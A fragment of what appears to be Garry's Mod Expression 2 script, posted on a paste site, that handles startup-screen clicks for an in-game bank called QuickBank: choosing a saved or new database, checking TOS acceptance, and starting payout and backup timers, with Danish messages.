- }elseif(egpClick(34,CursorC,EGPC) & PageC == "Startup") {
- if(!StartLoaded) {
- StartLoaded = 1
- EGPC:egpColor(35,vec(46, 204, 113))
- EGPC:egpColor(38,DarkCol)
- }
- #Start new save
- }elseif(egpClick(37,CursorC,EGPC) & PageC == "Startup") {
- if(StartLoaded) {
- StartLoaded = 0
- EGPC:egpColor(35,DarkCol)
- EGPC:egpColor(38,vec(46, 204, 113))
- }
- }
- #Start bank
- elseif(egpClick(39,CursorC,EGPC) & PageC == "Startup") {
- if(AcceptedTos) {
- EGPC:egpColor(39,vec(16, 154, 73))
- modifySignCol(vec(46, 204, 113))
- if(StartLoaded) {
- loadData()
- msg("QuickBank er nu f"+ae()+"rdigkonfigureret med en tidligere gemt database.","Green")
- }else {
- msg("QuickBank er nu f"+ae()+"rdigkonfigureret med en ny database.","Green")
- }
- openBank()
- timer("drawCP",2000)
- timer("startPayout",PayoutInterval * 60000)
- timer("startBackup",BackupInterval * 60000)
- } else {
- msg("Du skal acceptere TOS f"+oe()+"r du kan "+aa()+"bne banken!","Red")
- }
- }
- }
Add Comment
Please, Sign In to add comment